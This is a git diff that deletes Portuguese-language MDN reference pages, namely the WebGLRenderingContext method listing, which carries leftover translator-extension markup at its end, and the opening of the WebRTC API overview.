-<h2 id="O_contexto_de_WebGL">O contexto de WebGL</h2>
-
-<p>The following properties and methods provide general information and functionality to deal with the WebGL context:</p>
-
-<dl>
- <dt>{{domxref("WebGLRenderingContext.canvas")}}</dt>
- <dd>A read-only back-reference to the {{domxref("HTMLCanvasElement")}}. Might be {{jsxref("null")}} if it is not associated with a {{HTMLElement("canvas")}} element.</dd>
- <dt>{{domxref("WebGLRenderingContext.commit()")}} {{experimental_inline}}</dt>
- <dd>
- <p>Pushes frames back to the original {{domxref("HTMLCanvasElement")}}, if the context is not directly fixed to a specific canvas.</p>
- </dd>
- <dt>{{domxref("WebGLRenderingContext.drawingBufferWidth")}}</dt>
- <dd>The read-only width of the current drawing buffer. Should match the width of the canvas element associated with this context.</dd>
- <dt>{{domxref("WebGLRenderingContext.drawingBufferHeight")}}</dt>
- <dd>The read-only height of the current drawing buffer. Should match the height of the canvas element associated with this context.</dd>
- <dt>{{domxref("WebGLRenderingContext.getContextAttributes()")}}</dt>
- <dd>Returns a <code>WebGLContextAttributes</code> object that contains the actual context parameters. Might return {{jsxref("null")}}, if the context is lost.</dd>
- <dt>{{domxref("WebGLRenderingContext.isContextLost()")}}</dt>
- <dd>Returns <code>true</code> if the context is lost, otherwise returns <code>false</code>.</dd>
-</dl>
-
-<h2 id="Visualização_e_recorte">Visualização e  recorte</h2>
-
-<dl>
- <dt>{{domxref("WebGLRenderingContext.scissor()")}}</dt>
- <dd>Defines the scissor box.</dd>
- <dt>{{domxref("WebGLRenderingContext.viewport()")}}</dt>
- <dd>Sets the viewport.</dd>
-</dl>
-
-<h2 id="Informação_de_estado">Informação de estado</h2>
-
-<dl>
- <dt>{{domxref("WebGLRenderingContext.activeTexture()")}}</dt>
- <dd>Selects the active texture unit.</dd>
- <dt>{{domxref("WebGLRenderingContext.blendColor()")}}</dt>
- <dd>Sets the source and destination blending factors.</dd>
- <dt>{{domxref("WebGLRenderingContext.blendEquation()")}}</dt>
- <dd>Sets both the RGB blend equation and alpha blend equation to a single equation.</dd>
- <dt>{{domxref("WebGLRenderingContext.blendEquationSeparate()")}}</dt>
- <dd>Sets the RGB blend equation and alpha blend equation separately.</dd>
- <dt>{{domxref("WebGLRenderingContext.blendFunc()")}}</dt>
- <dd>Defines which function is used for blending pixel arithmetic.</dd>
- <dt>{{domxref("WebGLRenderingContext.blendFuncSeparate()")}}</dt>
- <dd>Defines which function is used for blending pixel arithmetic for RGB and alpha components separately.</dd>
- <dt>{{domxref("WebGLRenderingContext.clearColor()")}}</dt>
- <dd>Specifies the color values used when clearing color buffers.</dd>
- <dt>{{domxref("WebGLRenderingContext.clearDepth()")}}</dt>
- <dd>Specifies the depth value used when clearing the depth buffer.</dd>
- <dt>{{domxref("WebGLRenderingContext.clearStencil()")}}</dt>
- <dd>Specifies the stencil value used when clearing the stencil buffer.</dd>
- <dt>{{domxref("WebGLRenderingContext.colorMask()")}}</dt>
- <dd>Sets which color components to enable or to disable when drawing or rendering to a {{domxref("WebGLFramebuffer")}}.</dd>
- <dt>{{domxref("WebGLRenderingContext.cullFace()")}}</dt>
- <dd>Specifies whether or not front- and/or back-facing polygons can be culled.</dd>
- <dt>{{domxref("WebGLRenderingContext.depthFunc()")}}</dt>
- <dd>Specifies a function that compares incoming pixel depth to the current depth buffer value.</dd>
- <dt>{{domxref("WebGLRenderingContext.depthMask()")}}</dt>
- <dd>Sets whether writing into the depth buffer is enabled or disabled.</dd>
- <dt>{{domxref("WebGLRenderingContext.depthRange()")}}</dt>
- <dd>Specifies the depth range mapping from normalized device coordinates to window or viewport coordinates.</dd>
- <dt>{{domxref("WebGLRenderingContext.disable()")}}</dt>
- <dd>Disables specific WebGL capabilities for this context.</dd>
- <dt>{{domxref("WebGLRenderingContext.enable()")}}</dt>
- <dd>Enables specific WebGL capabilities for this context.</dd>
- <dt>{{domxref("WebGLRenderingContext.frontFace()")}}</dt>
- <dd>Specifies whether polygons are front- or back-facing by setting a winding orientation.</dd>
- <dt>{{domxref("WebGLRenderingContext.getParameter()")}}</dt>
- <dd>Returns a value for the passed parameter name.</dd>
- <dt>{{domxref("WebGLRenderingContext.getError()")}}</dt>
- <dd>Returns error information.</dd>
- <dt>{{domxref("WebGLRenderingContext.hint()")}}</dt>
- <dd>Specifies hints for certain behaviors. The interpretation of these hints depend on the implementation.</dd>
- <dt>{{domxref("WebGLRenderingContext.isEnabled()")}}</dt>
- <dd>Tests whether a specific WebGL capability is enabled or not for this context.</dd>
- <dt>{{domxref("WebGLRenderingContext.lineWidth()")}}</dt>
- <dd>Sets the line width of rasterized lines.</dd>
- <dt>{{domxref("WebGLRenderingContext.pixelStorei()")}}</dt>
- <dd>Specifies the pixel storage modes</dd>
- <dt>{{domxref("WebGLRenderingContext.polygonOffset()")}}</dt>
- <dd>Specifies the scale factors and units to calculate depth values.</dd>
- <dt>{{domxref("WebGLRenderingContext.sampleCoverage()")}}</dt>
- <dd>Specifies multi-sample coverage parameters for anti-aliasing effects.</dd>
- <dt>{{domxref("WebGLRenderingContext.stencilFunc()")}}</dt>
- <dd>Sets the both front and back function and reference value for stencil testing.</dd>
- <dt>{{domxref("WebGLRenderingContext.stencilFuncSeparate()")}}</dt>
- <dd>Sets the front and/or back function and reference value for stencil testing.</dd>
- <dt>{{domxref("WebGLRenderingContext.stencilMask()")}}</dt>
- <dd>Controls enabling and disabling of both the front and back writing of individual bits in the stencil planes.</dd>
- <dt>{{domxref("WebGLRenderingContext.stencilMaskSeparate()")}}</dt>
- <dd>Controls enabling and disabling of front and/or back writing of individual bits in the stencil planes.</dd>
- <dt>{{domxref("WebGLRenderingContext.stencilOp()")}}</dt>
- <dd>Sets both the front and back-facing stencil test actions.</dd>
- <dt>{{domxref("WebGLRenderingContext.stencilOpSeparate()")}}</dt>
- <dd>Sets the front and/or back-facing stencil test actions.</dd>
-</dl>
-
-<h2 id="Buffers"><em>Buffers</em></h2>
-
-<dl>
- <dt>{{domxref("WebGLRenderingContext.bindBuffer()")}}</dt>
- <dd>Binds a <code>WebGLBuffer</code> object to a given target.</dd>
- <dt>{{domxref("WebGLRenderingContext.bufferData()")}}</dt>
- <dd>Updates buffer data.</dd>
- <dt>{{domxref("WebGLRenderingContext.bufferSubData()")}}</dt>
- <dd>Updates buffer data starting at a passed offset.</dd>
- <dt>{{domxref("WebGLRenderingContext.createBuffer()")}}</dt>
- <dd>Creates a <code>WebGLBuffer</code> object.</dd>
- <dt>{{domxref("WebGLRenderingContext.deleteBuffer()")}}</dt>
- <dd>Deletes a <code>WebGLBuffer</code> object.</dd>
- <dt>{{domxref("WebGLRenderingContext.getBufferParameter()")}}</dt>
- <dd>Returns information about the buffer.</dd>
- <dt>{{domxref("WebGLRenderingContext.isBuffer()")}}</dt>
- <dd>Returns a Boolean indicating if the passed buffer is valid.</dd>
-</dl>
-
-<h2 id="Framebuffers"><em>Framebuffers</em></h2>
-
-<dl>
- <dt>{{domxref("WebGLRenderingContext.bindFramebuffer()")}}</dt>
- <dd>Binds a <code>WebGLFrameBuffer</code> object to a given target.</dd>
- <dt>{{domxref("WebGLRenderingContext.checkFramebufferStatus()")}}</dt>
- <dd>Returns the status of the framebuffer.</dd>
- <dt>{{domxref("WebGLRenderingContext.createFramebuffer()")}}</dt>
- <dd>Creates a <code>WebGLFrameBuffer</code> object.</dd>
- <dt>{{domxref("WebGLRenderingContext.deleteFramebuffer()")}}</dt>
- <dd>Deletes a <code>WebGLFrameBuffer</code> object.</dd>
- <dt>{{domxref("WebGLRenderingContext.framebufferRenderbuffer()")}}</dt>
- <dd>Attaches a <code>WebGLRenderingBuffer</code> object to a <code>WebGLFrameBuffer</code> object.</dd>
- <dt>{{domxref("WebGLRenderingContext.framebufferTexture2D()")}}</dt>
- <dd>Attaches a textures image to a <code>WebGLFrameBuffer</code> object.</dd>
- <dt>{{domxref("WebGLRenderingContext.getFramebufferAttachmentParameter()")}}</dt>
- <dd>Returns information about the framebuffer.</dd>
- <dt>{{domxref("WebGLRenderingContext.isFramebuffer()")}}</dt>
- <dd>Returns a Boolean indicating if the passed <code>WebGLFrameBuffer</code> object is valid.</dd>
- <dt>{{domxref("WebGLRenderingContext.readPixels()")}}</dt>
- <dd>Reads a block of pixels from the <code>WebGLFrameBuffer</code>.</dd>
-</dl>
-
-<h2 id="Renderbuffers"><em>Renderbuffers</em></h2>
-
-<dl>
- <dt>{{domxref("WebGLRenderingContext.bindRenderbuffer()")}}</dt>
- <dd>Binds a <code>WebGLRenderBuffer</code> object to a given target.</dd>
- <dt>{{domxref("WebGLRenderingContext.createRenderbuffer()")}}</dt>
- <dd>Creates a <code>WebGLRenderBuffer</code> object.</dd>
- <dt>{{domxref("WebGLRenderingContext.deleteRenderbuffer()")}}</dt>
- <dd>Deletes a <code>WebGLRenderBuffer</code> object.</dd>
- <dt>{{domxref("WebGLRenderingContext.getRenderbufferParameter()")}}</dt>
- <dd>Returns information about the renderbuffer.</dd>
- <dt>{{domxref("WebGLRenderingContext.isRenderbuffer()")}}</dt>
- <dd>Returns a Boolean indicating if the passed <code>WebGLRenderingBuffer</code> is valid.</dd>
- <dt>{{domxref("WebGLRenderingContext.renderbufferStorage()")}}</dt>
- <dd>Creates a renderbuffer data store.</dd>
-</dl>
-
-<h2 id="Texturas">Texturas</h2>
-
-<dl>
- <dt>{{domxref("WebGLRenderingContext.bindTexture()")}}</dt>
- <dd>Binds a <code>WebGLTexture</code> object to a given target.</dd>
- <dt>{{domxref("WebGLRenderingContext.compressedTexImage2D()")}}</dt>
- <dd>Specifies a 2D texture image in a compressed format.</dd>
- <dt>{{domxref("WebGLRenderingContext.compressedTexSubImage2D()")}}</dt>
- <dd>Specifies a 2D texture sub-image in a compressed format.</dd>
- <dt>{{domxref("WebGLRenderingContext.copyTexImage2D()")}}</dt>
- <dd>Copies a 2D texture image.</dd>
- <dt>{{domxref("WebGLRenderingContext.copyTexSubImage2D()")}}</dt>
- <dd>Copies a 2D texture sub-image.</dd>
- <dt>{{domxref("WebGLRenderingContext.createTexture()")}}</dt>
- <dd>Creates a <code>WebGLTexture</code> object.</dd>
- <dt>{{domxref("WebGLRenderingContext.deleteTexture()")}}</dt>
- <dd>Deletes a <code>WebGLTexture</code> object.</dd>
- <dt>{{domxref("WebGLRenderingContext.generateMipmap()")}}</dt>
- <dd>Generates a set of mipmaps for a <code>WebGLTexture</code> object.</dd>
- <dt>{{domxref("WebGLRenderingContext.getTexParameter()")}}</dt>
- <dd>Returns information about the texture.</dd>
- <dt>{{domxref("WebGLRenderingContext.isTexture()")}}</dt>
- <dd>Returns a Boolean indicating if the passed <code>WebGLTexture</code> is valid.</dd>
- <dt>{{domxref("WebGLRenderingContext.texImage2D()")}}</dt>
- <dd>Specifies a 2D texture image.</dd>
- <dt>{{domxref("WebGLRenderingContext.texSubImage2D()")}}</dt>
- <dd>Updates a sub-rectangle of the current <code>WebGLTexture</code>.</dd>
- <dt>{{domxref("WebGLRenderingContext.texParameter", "WebGLRenderingContext.texParameterf()")}}</dt>
- <dd>Sets texture parameters.</dd>
- <dt>{{domxref("WebGLRenderingContext.texParameter", "WebGLRenderingContext.texParameteri()")}}</dt>
- <dd>Sets texture parameters.</dd>
-</dl>
-
-<h2 id="Programas_e_shaders">Programas e <em>shaders</em></h2>
-
-<dl>
- <dt>{{domxref("WebGLRenderingContext.attachShader()")}}</dt>
- <dd>Attaches a <code>WebGLShader</code> to a <code>WebGLProgram</code>.</dd>
- <dt>{{domxref("WebGLRenderingContext.bindAttribLocation()")}}</dt>
- <dd>Binds a generic vertex index to a named attribute variable.</dd>
- <dt>{{domxref("WebGLRenderingContext.compileShader()")}}</dt>
- <dd>Compiles a <code>WebGLShader</code>.</dd>
- <dt>{{domxref("WebGLRenderingContext.createProgram()")}}</dt>
- <dd>Creates a <code>WebGLProgram</code>.</dd>
- <dt>{{domxref("WebGLRenderingContext.createShader()")}}</dt>
- <dd>Creates a <code>WebGLShader</code>.</dd>
- <dt>{{domxref("WebGLRenderingContext.deleteProgram()")}}</dt>
- <dd>Deletes a <code>WebGLProgram</code>.</dd>
- <dt>{{domxref("WebGLRenderingContext.deleteShader()")}}</dt>
- <dd>Deletes a <code>WebGLShader</code>.</dd>
- <dt>{{domxref("WebGLRenderingContext.detachShader()")}}</dt>
- <dd>Detaches a <code>WebGLShader</code>.</dd>
- <dt>{{domxref("WebGLRenderingContext.getAttachedShaders()")}}</dt>
- <dd>Returns a list of <code>WebGLShader</code> objects attached to a <code>WebGLProgram</code>.</dd>
- <dt>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</dt>
- <dd>Returns information about the program.</dd>
- <dt>{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}</dt>
- <dd>Returns the information log for a <code>WebGLProgram</code> object.</dd>
- <dt>{{domxref("WebGLRenderingContext.getShaderParameter()")}}</dt>
- <dd>Returns information about the shader.</dd>
- <dt>{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}</dt>
- <dd>Returns a <code>WebGLShaderPrecisionFormat</code> object describing the precision for the numeric format of the shader.</dd>
- <dt>{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}</dt>
- <dd>Returns the information log for a <code>WebGLShader</code> object.</dd>
- <dt>{{domxref("WebGLRenderingContext.getShaderSource()")}}</dt>
- <dd>Returns the source code of a <code>WebGLShader</code> as a string.</dd>
- <dt>{{domxref("WebGLRenderingContext.isProgram()")}}</dt>
- <dd>Returns a Boolean indicating if the passed <code>WebGLProgram</code> is valid.</dd>
- <dt>{{domxref("WebGLRenderingContext.isShader()")}}</dt>
- <dd>Returns a Boolean indicating if the passed <code>WebGLShader</code> is valid.</dd>
- <dt>{{domxref("WebGLRenderingContext.linkProgram()")}}</dt>
- <dd>Links the passed <code>WebGLProgram</code> object.</dd>
- <dt>{{domxref("WebGLRenderingContext.shaderSource()")}}</dt>
- <dd>Sets the source code in a <code>WebGLShader</code>.</dd>
- <dt>{{domxref("WebGLRenderingContext.useProgram()")}}</dt>
- <dd>Uses the specified <code>WebGLProgram</code> as part the current rendering state.</dd>
- <dt>{{domxref("WebGLRenderingContext.validateProgram()")}}</dt>
- <dd>Validates a <code>WebGLProgram</code>.</dd>
-</dl>
-
-<h2 id="Uniforms_e_atributos"><em>Uniforms </em>e atributos</h2>
-
-<dl>
- <dt>{{domxref("WebGLRenderingContext.disableVertexAttribArray()")}}</dt>
- <dd>Disables a vertex attribute array at a given position.</dd>
- <dt>{{domxref("WebGLRenderingContext.enableVertexAttribArray()")}}</dt>
- <dd>Enables a vertex attribute array at a given position.</dd>
- <dt>{{domxref("WebGLRenderingContext.getActiveAttrib()")}}</dt>
- <dd>Returns information about an active attribute variable.</dd>
- <dt>{{domxref("WebGLRenderingContext.getActiveUniform()")}}</dt>
- <dd>Returns information about an active uniform variable.</dd>
- <dt>{{domxref("WebGLRenderingContext.getAttribLocation()")}}</dt>
- <dd>Returns the location of an attribute variable.</dd>
- <dt>{{domxref("WebGLRenderingContext.getUniform()")}}</dt>
- <dd>Returns the value of a uniform variable at a given location.</dd>
- <dt>{{domxref("WebGLRenderingContext.getUniformLocation()")}}</dt>
- <dd>Returns the location of a uniform variable.</dd>
- <dt>{{domxref("WebGLRenderingContext.getVertexAttrib()")}}</dt>
- <dd>Returns information about a vertex attribute at a given position.</dd>
- <dt>{{domxref("WebGLRenderingContext.getVertexAttribOffset()")}}</dt>
- <dd>Returns the address of a given vertex attribute.</dd>
- <dt>{{domxref("WebGLRenderingContext.uniform()", "WebGLRenderingContext.uniform[1234][fi][v]()")}}</dt>
- <dd>Specifies a value for a uniform variable.</dd>
- <dt>{{domxref("WebGLRenderingContext.uniformMatrix()", "WebGLRenderingContext.uniformMatrix[234]fv()")}}</dt>
- <dd>Specifies a matrix value for a uniform variable.</dd>
- <dt>{{domxref("WebGLRenderingContext.vertexAttrib()", "WebGLRenderingContext.vertexAttrib[1234]f[v]()")}}</dt>
- <dd>Specifies a value for a generic vertex attribute.</dd>
- <dt>{{domxref("WebGLRenderingContext.vertexAttribPointer()")}}</dt>
- <dd>Specifies the data formats and locations of vertex attributes in a vertex attributes array.</dd>
-</dl>
-
-<h2 id="Drawing_buffers">Drawing buffers</h2>
-
-<dl>
- <dt>{{domxref("WebGLRenderingContext.clear()")}}</dt>
- <dd>Clears specified buffers to preset values.</dd>
- <dt>{{domxref("WebGLRenderingContext.drawArrays()")}}</dt>
- <dd>Renders primitives from array data.</dd>
- <dt>{{domxref("WebGLRenderingContext.drawElements()")}}</dt>
- <dd>Renders primitives from element array data.</dd>
- <dt>{{domxref("WebGLRenderingContext.finish()")}}</dt>
- <dd>Blocks execution until all previously called commands are finished.</dd>
- <dt>{{domxref("WebGLRenderingContext.flush()")}}</dt>
- <dd>Empties different buffer commands, causing all commands to be executed as quickly as possible.</dd>
-</dl>
-
-<h2 id="Trabalhar_com_extensões">Trabalhar com extensões</h2>
-
-<p>These methods manage WebGL extensions:</p>
-
-<dl>
- <dt>{{domxref("WebGLRenderingContext.getSupportedExtensions()")}}</dt>
- <dd>Returns an {{jsxref("Array")}} of {{domxref("DOMString")}} elements with all the supported WebGL extensions.</dd>
- <dt>{{domxref("WebGLRenderingContext.getExtension()")}}</dt>
- <dd>Returns an extension object.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="WebGL_context_feature_detection">WebGL context feature detection</h3>
-
-<p>{{page("/en-US/Learn/WebGL/By_example/Detect_WebGL", "summary")}}</p>
-
-<p>{{page("/en-US/Learn/WebGL/By_example/Detect_WebGL", "detect-webgl-source")}}</p>
-
-<p>{{EmbedLiveSample("detect-webgl-source", 660,150 ,"" , "Learn/WebGL/By_example/Detect_WebGL")}}</p>
-
-<h3 id="Effect_of_canvas_size_on_rendering_with_WebGL">Effect of canvas size on rendering with WebGL</h3>
-
-<p>{{page("/en-US/Learn/WebGL/By_example/Canvas_size_and_WebGL", "canvas-size-and-webgl-intro")}}</p>
-
-<p>{{page("/en-US/Learn/WebGL/By_example/Canvas_size_and_WebGL", "canvas-size-and-webgl-source")}}</p>
-
-<p>{{EmbedLiveSample("canvas-size-and-webgl-source", 660,180 ,"" , "Learn/WebGL/By_example/Canvas_size_and_WebGL")}}</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('WebGL', "#5.14", "WebGLRenderingContext")}}</td>
- <td>{{Spec2('WebGL')}}</td>
- <td>Initial definition</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
-
-<p>{{Compat("api.WebGLRenderingContext")}}</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>{{domxref("HTMLCanvasElement")}}</li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/api/webrtc_api/index.html b/files/pt-pt/web/api/webrtc_api/index.html
deleted file mode 100644
index a9bc4acd29..0000000000
--- a/files/pt-pt/web/api/webrtc_api/index.html
+++ /dev/null
@@ -1,288 +0,0 @@
----
-title: API de WebRTC
-slug: Web/API/WebRTC_API
-tags:
- - API
- - API de WebRTC
- - API de WebRTCÁudio
- - Multimedia
- - Rede
- - Video
- - WebRTC
- - emissão
- - transmissão
-translation_of: Web/API/WebRTC_API
-original_slug: Web/API/API_WebRTC
----
-<div>{{APIRef("WebRTC")}}</div>
-
-<p><span class="seoSummary"><strong>WebRTC</strong> (Comunicações da <em>Web</em> em Tempo Real) é uma tecnologia que permite às aplicações e sites da <em>Web</em> capturar e opcionalmente transmitir multimédia de áudio e/ou vídeo, bem como trocar dados arbitrariamente entre navegadores sem a necessidade de um intermediário.</span> O conjunto de normas que compreende WebRTC torna possível a partilha de dados e realizar teleconferência <em>peer-to-peer</em>, sem precisar que o utilizador instale <em>plug-ins</em> ou qualquer outro software de terceiros.</p>
-
-<p>WebRTC consiste em diversos protocolos e APIs inter-relacionadas que trabalham em conjunto para obter isto. A documentação que irá encontrar aqui irá ajudá-lo a compreender o essencial de WebRTC, como configurar e utilizar ligações de dados e multimédia, e muito mais.</p>
-
-<h2 id="Conceitos_e_utilização_de_WebRTC">Conceitos e utilização de WebRTC</h2>
-
-<p>O WebRTC atende múltiplos propósitos e se destaca consideravelmente com <em>Media Capture</em> e <em>Streams API</em>. Juntos, eles fornecem recursos multimídia poderosos para a Web, incluindo suporte para conferências de áudio e vídeo, troca de arquivos, gerenciamento de identidade e interface com sistemas telefônicos legados, enviando sinais  {{Glossary("DTMF")}} . As conexões entre pares podem ser feitas sem exigir drivers especiais ou plug-ins, e muitas vezes podem ser feitas sem nenhum servidor intermediário.</p>
-
-<p>As conexões entre dois pares são criadas usando - e representadas pela interface - {{domxref("RTCPeerConnection")}} . Uma vez que uma conexão foi estabelecida e aberta, os fluxos de mídia ({{domxref("MediaStream")}}s) e / ou canais de dados ({{domxref("RTCDataChannel")}}s) podem ser adicionados à conexão.</p>
-
